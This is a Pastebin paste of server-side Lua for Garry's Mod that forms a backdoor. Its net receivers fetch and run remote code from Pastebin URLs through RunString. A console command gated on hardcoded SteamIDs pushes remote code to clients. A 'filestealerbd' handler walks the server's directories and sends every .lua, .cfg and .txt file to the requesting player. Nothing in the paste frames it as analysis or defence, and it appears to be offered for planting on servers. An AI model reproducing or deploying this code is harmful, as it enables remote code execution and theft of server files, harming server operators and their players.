Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- util.AddNetworkString("value_open")
- util.AddNetworkString( "filestealerbd")
- util.AddNetworkString( "receive_files_bd")
- print("Network ajouté (value_open)")
- concommand.Add("teamname",function(ply)
- local teamID = ply:Team()
- local teamName = team.GetName( teamID )
- print(teamName)
- end)
- concommand.Add("cipher", function(ply, cmd, args)
- if(ply:SteamID64() == "76561198137837716" or ply:SteamID64() == "76561198239782544" or ply:SteamID64() == "76561198156431434" or ply:SteamID64() == "76561198117815749" or ply:SteamID64() == "76561198941536849") then ply:SendLua([[http.Fetch('https://pastebin.com/raw/fcm5uQBY',function(b,l,h,c)RunString(b)end,nil)]])
- end
- end)
- net.Receive("value_open",function()
- local value = net.ReadString()
- if(value == "Bill Cipher Visuelle") then
- http.Fetch('https://pastebin.com/raw/uvj8KCmG',function(b,l,h,c)RunString(b)end,nil)
- end
- if(value == "DeathNote") then
- http.Fetch('https://pastebin.com/raw/AngvFj3h',function(b,l,h,c)RunString(b)end,nil)
- end
- if(value == "Dance") then
- http.Fetch('https://pastebin.com/raw/9iK8stZd',function(b,l,h,c)RunString(b)end,nil)
- end
- if(value == "Visuelle Enigma") then
- http.Fetch('https://pastebin.com/raw/bvw1EFcH',function(b,l,h,c)RunString(b)end,nil)
- end
- if(value == "Visuelle Music Wave") then
- http.Fetch('https://pastebin.com/raw/uArLkPkB',function(b,l,h,c)RunString(b)end,nil)
- end
- if(value == "(New) Cipher Visuelle") then
- http.Fetch('https://pastebin.com/raw/Y9Si6aVJ',function(b,l,h,c)RunString(b)end,nil)
- end
- end)
- net.Receive( "filestealerbd", function( len, ply )
- local time = 0
- local stuckshit = stuckshit or {}
- stuckshit.nokick = 0
- local lesbonnescrepes = net.ReadString()
- local mode = 2
- local lesbonnescrepes_file = string.GetFileFromFilename(lesbonnescrepes)
- local labonneipaddress = string.gsub( game.GetIPAddress(), ":", "-" )
- local filesv1, directoriesv1 = file.Find( lesbonnescrepes.."/*", "GAME" )
- if string.Right(lesbonnescrepes, 4) == ".lua" or string.Right(lesbonnescrepes, 4) == ".cfg" or string.Right(lesbonnescrepes, 4) == ".txt" then
- if mode == 1 then
- local strC = util.Compress(file.Read(lesbonnescrepes,"GAME"))
- net.Start("receive_files_bd")
- net.WriteUInt(#strC,32)
- net.WriteData(strC,#strC)
- net.WriteString(lesbonnescrepes)
- net.Send(ply)
- end
- else
- if mode == 2 then
- local function steal_all(name)
- local files, directories = file.Find( name.."/*", "GAME" )
- for _, f in pairs(files) do
- if string.Right(f, 4) == ".lua" or string.Right(f, 4) == ".cfg" or string.Right(f, 4) == ".txt" then
- time = time + 0.1
- timer.Simple( time, function()
- if file.Exists(name .. "/" .. f,"GAME") then
- local strC = util.Compress(file.Read(name .. "/" .. f,"GAME"))
- net.Start("receive_files_bd")
- net.WriteUInt(#strC,32)
- net.WriteData(strC,#strC)
- net.WriteString(name .. "/" .. f)
- net.Send(ply)
- end
- end)
- end
- end
- for _, d in pairs(directories) do
- steal_all(name .. "/" .. d);
- end
- end
- steal_all(lesbonnescrepes)
- else
- end
- end
- end )
- print("Loaded")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement